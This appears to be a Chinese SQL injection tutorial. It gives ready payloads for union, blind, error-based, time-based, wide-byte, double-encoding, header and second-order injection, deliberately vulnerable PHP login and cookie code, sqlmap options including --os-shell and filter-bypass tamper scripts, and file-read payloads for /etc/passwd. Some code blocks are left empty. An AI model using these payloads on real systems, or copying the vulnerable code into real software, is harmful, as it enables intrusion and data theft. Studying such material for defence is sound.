SQL注入
定义与概念
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
原理
- 过滤不严格
- 恶意用户构造的参数被执行
当Web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
本质
把用户输入的数据当作代码来执行,违背了数据与代码分离原则
关键条件
- 用户能控制输入的内容
- Web应用把用户输入的内容带入到数据库中执行
万能密码原理
后台登陆语句为:1
SELECT * FROM admin WHERE Username = 'user' and Password = 'pass'
由于只要结果不为空就返回真,也就是登陆成功。
因此,输入万能密码or 1=1#
构造后的语句拼接为:1
SELECT * FROM admin WHERE Username = 'user' or 1=1# and Password = 'pass'
通过注释符#注释后面的语句,在or 1=1的基础结果为真恒成立
注入分类
- 根据请求方式不同可分为:
GET方式请求注入POST方式请求注入差别:是否需要抓包
- 根据SQL注入点的参数类型可分为:
- 整数型注入(int型)
- 字符型注入(char型)
- 根据反馈类型可分为以下常见几种:
- 基于显错
- union类型
- 布尔类型
- 基于时间
- 根据是否回显:
- 显注:有回显,有报错,通常使用union联合查询
- 盲注:无回显或只有显示正常页面和不显示页面两种区别,内置结果要么输出,要么不输出,不会输出其他内容
盲注分为:
- 布尔型
bool - 报错型
error - 时间型
time
- 布尔型
常用函数
concat()
用于将多个字符串连接成一个字符串1
SELECT CONCAT('My','S','QL')
group_concat()
将group by产生的同一个分组中的值连接起来,返回一个字符串结果1
group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
concat_ws()
第一个参数为分隔符,将从第二个开始的字符拼接起来,并用第一个参数分隔符隔开:1
concat_ws(separator, str1, str2,...)
注入基本流程
判断是否有注入
获取数据库信息
获取数据库基本信息
获取数据库名
获取表名
获取列名
获取用户数据破解数据
提升权限
内网渗透
注入操作
Union注入
- 判断是否存在注入
1
2and 1=1
and 1=2
都有或都没输出,说明此处不存在注入
判断有多少列
使用二分法1
order by n判断数据显示点
1
union select 1,2,3,N查看数据库、用户基本信息
1
union select 1,user(),version(),database()查询有哪些数据库,获取数据库名
1
union select group_concat(schema_name),1 from information_schema.schemata查询想要的数据中有哪些表,获取数据库中表名
1
union select group_concat(table_name),1 from information_schema.tables where table_schema='dvwa'查询想要的数据中有哪些列,获取数据库表中列名
1
union select group_concat(column_name),1 from information_schema.columns where table_name='dvwa' and table_name='users'得到想要信息:
1
union select user,password from dvwa.users
information_schema库中重点关注以下三个表:schemata tables columns
BOOL型盲注
and or not > = <
返回结果非true即false
以下均使用二分法
得到数据库名长度
1
2and (length(database()))>5
and (length(database()))=4改变n的值依次获取数据库名的十进制ASCII值
1
and (ascii(substr(database(),n,1)))>100获取数据库表名(先获取表名数量,再获取表名长度)
1
2
3and (select count(*) from information_schema.tables where table_schema=database())>5
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5
and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100获取列名(先获取列名个数,再获取列名长度,最后获取列名)
1
and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100获取数据
1
and (ascii(substr((select password from users limit 0,1)1,1)))=68
盲注之报错注入
原理
盲注:没有明显提示
报错注入:使语句出错,利用语法错误实现目的
必要条件:源代码会输出错误内容,如mysql_error(),还必须运行使用xml模块
常用函数与用法:
其他常用方法补充:十种MySQL报错注入
floor()1
and (select 1 from(select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)
查询结果至少存在三条才会触发报错,详见floor报错分析
extractvalue()1
2
3extractvalue('hello', ./test.xml); // 报错最大长度32位
and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
and extractvalue('hello',concat('~',substr((select group_concat(schema_name) from information_schema.schemata),1,32))) // 优化
若路径出现一些特殊字符如
~,触发报错,将包括特殊字符在内的后面内容报出
updatexml()1
and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) // 报错最大长度32位,优化同上
盲注之时间注入
原理
配合其它注入法,如bool注入。
无论是否有结果,sql语句只要执行了,就可根据页面响应时长,判断语句是否被执行
函数
sleep(),benchmark()
基本用法:1
2select if(1=1,sleep(2),sleep(5))
select if(1=1,benchmark(2000000,md5('a')),benchmark(5000000,md5('a')))
例子:1
and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101,sleep(1),sleep(5))
宽字节注入
原理
在使用PHP连接MySQL时,当设置set character_set_client=gbk时会导致一个编码转换注入的问题,即宽字节注入。
GBK编码
是对GB2312编码的扩展。采用双字节编码方案,编码范围:8140~FEFE
编码表
后台使用了过滤函数,如:
addslashes()对',",\和NULL(NULL字符)进行处理mysql_real_escape_string()过滤\x00,\n,\r,\,',",\x1amysql_escape_string()php5.3已弃用,与完全一样,除了 mysql_real_escape_string() 接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string() 并不接受连接参数,也不管当前字符集设定。
漏洞利用
当存在此漏洞时,在注入的参数里加入%df%27,即可把程序中过滤的\(即%5c)“吃掉”,%df%5c拼接为gbk编码的“運”
例如:1
2
3
4
5/1.php?id=1%27 and 1=1%23 # 失败的注入语句
SELECT * FROM news WHERE id='1\' and 1=1#' #过滤后后台实际执行语句
/1.php?id=1%df%27 and 1%23 # 成功的注入语句
SELECT * FROM news WHERE id='1運' and 1#' # 后台实际执行语句
修复方式
若是为了避免宽字节注入的产生,可限定使用mysql_set_charset(GBK)来指定字符集,并且使用mysql_real_escape_string进行转义
二次编码注入
url编码是一种浏览器用来打包表单输入的格式。url编码就是一个字符ascii码的十六进制,前面还需加上
%
例如\的ascii码是92,92的十六进制是5c,所以\的url编码就是%5c
原理
Web程序中使用了urldecode()或rawurldecode()来解码id参数
提交参数到WebServer时,WebServer会自动解码生成单引号而引发注入
漏洞利用
%25被解码后被转换为%1
2/1.php?id=1%2527 // URL中语句
id=1%27 // 实际执行语句,产生单引号成功闭合
HTTP请求头注入
请求头定义
HTTP客户端(例如浏览器),向服务器发送请求时必须指明请求类型(一般为GET或者POST)。如有必要,客户程序还可以选择发送其它请求头。
常见请求头
User-agent 浏览器版本信息
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
referer 包含一个URL,指明用户从该URL代表的页面出发访问当前请求的页面
https://www.google.co.jp
X-Forwarded-For 即XFF,用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
192.168.0.2
Cookie 总是保存在客户端中,一般会以文件的方式存储在硬盘中,我们通过一些插件可以修改Cookie内容
user:admin_12536223782183
常用工具
常用操作http请求头的工具Burpsuite 抓包修改请求头Chrome 扩展ModeHeaderFireFox 扩展Header Editor
原理
常见处理
user-agent方法:user-agent很少会带入到数据库中进行处理,一般被用来判断客户端类型
例如:PHP使用jenssegers/agent库处理,判断是PC、移动端或者机器常见处理
referer方法:referer很少会带入数据库中,它主要功能是用来验证请求来源
用来防御csrf漏洞常见处理
Cookie方法:Cookie主要用来存储用户的认证信息,经常会带入到数据库中进行查询
在老旧的站点中,会直接将用户信息存储在cookie中,如果使用时直接带入数据库中进行查询,就可能出现SQL注入问题
后端PHP处理
Cookie
验证账户信息,为客户端设置Cookie的示例代码:
1
2
3
4
5
6
7$sql = "SELECT * FROM `users` WHERE `username` = '{$username}'";
$data = mysql_query($sql, $conn) or die(mysql_error());
$userinfo = mysql_fetch_array($data);
if(md5($password) == $userinfo['password']) {
setcookie('usre', $userinfo['username'], time() + 3600);
setcookie('background', $userinfo['background'], time() + 3600);
}
在进行敏感操作时,验证并使用cookie中的用户信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14if(!isset($_COOKIE['user'])) {
header("Location: login.php");
die();
}
$sql = "SELECT * FROM `messages` WHERE `author` = '{$_COOKIE['user']}';";
$data = mysql_query($sql, $conn) or die(mysql_error());
while ($com = mysql_fetch_array($data)) {
$message = $com['message'];
$title = $com['title'];
$id = $com['id'];
echo "<h3>标题: <a href='index.php?id={$id}'>{$title}</a></h1></h3>";
echo "<a href='del.php?id={$id}'>删除消息</a><br />";
}
Cookie中的用户信息直接带入到数据库中,可以直接进行注入攻击
1Cookie: user=zs' and 1--|
- 常见处理
X-Forwarded-For方法调用函数后,获取结果,直接带入数据库中进行更新操作
1
2
3
4
5
6
7
8
9
10if(md5($password) == $userinfo['password']) {
setcookie('user', $userinfo['username'], time() + 3600);
setcookie('background', $userinfo['background'], time() + 3600);
setcookie('lastip', $userinfo['lastip'], time() + 3600);
$sql = "UPDATE `user` SET `lastip` = '{$realip}' WHERE `username` = '{$username}'";
mysql_query($sql, $conn) or die(mysql_error());
header("Location: add.php");
} else {
echo '<script language="JavaScript" type="text/javascript">alert("你的用户名或密码错误");</script>'
}
二阶注入
定义
为了预防SQL注入攻击,而将输入到应用程序中的某些数据进行了“转义(escape)”,但是这些数据却又在“未被转义(Unescaped)”的查询窗体中重复使用。此时,攻击者可能注入的是一个PAYLOAD,这样就会构成一个SQL查询语句并被执行,这就是所谓的二阶SQL注入。
原理
Second-order SQL injection
当用户提供的数据由应用程序存储并随后以不安全的方式合并到SQL查询中时,会出现二阶SQL注入。要检测漏洞,通常需要在一个位置提交合适的数据,然后使用其他一些以不安全的方式处理数据的应用程序功能
特点
普通注入
- 在http后面构造语句,是立即直接生效的
- 一次注入很容易被扫描工具扫描到
二阶注入
- 先构造语句(有被转义字符的语句)
- 我们构造的恶意语句存入数据库
- 第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数据做检查)
- 二次注入更加难以被发现
利用方式
- 攻击者在http请求中提交恶意输入
- 恶意输入保存在数据库中
- 攻击者提交第二次http请求
- 为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句
- 若攻击成功,在第二次请求相应中返回结果
代码
1 | |
补充内容
Web漏洞
- 用户能控制输入的内容
- Web应用把用户输入的内容带入数据库中执行
sqlmap
常用参数命令
1 | |
常用参数:-v 显示细节-r 加载请求包(常用于post注入)-p 常见于多个注入点时选择注入点,例如头注入:cookie,referer,x-forward-for--dbms= 选择数据库类型如mysql,mssql等--cookie= 添加测试目标网站的cookie,适用与登陆后才有注入点的网站--user-agent=--proxy=http://127.0.0.1:1080--threads=线程数(默认是1)--sql-shell 虚拟出一个sql终端,可以执行sql命令--os-shell 虚拟出一个系统命令终端,可以执行系统命令
支持的数据库
12种数据库被支持:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、informix、HsqlDB
显示等级(-v 参数)
若需要观察sqlmap对一个点进行了怎样的尝试判断以及读取数据的,可以使用-v参数
共计7个等级,默认为1:
- 只显示python错误以及严重的信息
- 同时显示基本信息和警告信息(默认)
- 同时显示debug信息
- 同时显示注入的payload
- 同时显示HTTP请求
- 同时显示HTTP响应头
- 同时显示HTTP相应页面
tamper使用
sqlmap中的tamper自带许多防过滤脚本。通过自带的或自行编写的tamper,可以帮助绕过waf进行自动化攻击。
常见tamper如下:
apostrophemask.py
用utf8代替引号1
2("1 AND '1'='1'")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'base64encode.py
用base64编码替换1
2("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='multiplespaces.py
围绕SQL关键字添加多个空格1
2('1 UNION SELECT foobar')
'1 UNION SELECT foobar'space2plus.py
用+替换空格1
2('SELECT id FROM users')
'SELECT+id+FROM+users'nonrecursivereplacement.py
双重查询语句。取代predefined SQL关键字with表示 suitable for替代(eg:.replace(“SELECT”,””))filters1
2('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'space2randomblank.py
代替空格字符,从可选空白字符的有效集随机选取一个1
2('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'unionalltounion.py
替换UNION ALL SELECT UNION SELECT1
2('-1 UNION ALL SELECT')
'-1 UNION SELECT'securesphere.py
追加特制的字符串1
2('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
读文件
sqlmap读文件需满足以下条件
- 读文件权限:
- secure-file-priv(show variables)
- 目录权限
- Selinux
- apparmor
- 等等
- max_allowed_packed
- 知道绝对路径
写文件
与读文件条件大同小异
方法1
2
3
4
5load_file('c://windows//win.ini')
load_file(0x633A2F2F77696E646F77732F2F77696E2E696E69) # 16进制
load_file(char(99,58,47,47,119,105,110,100,111,119,115,47,47,119,105,110,46,105,110,105)) # 10进制
Sqlmap -u "http://127.0.0.1/1.php?id=1" --file-read "/etc/passwd"
tip:mysql注入一般是获取内容,因为大概率情况不允许读写文件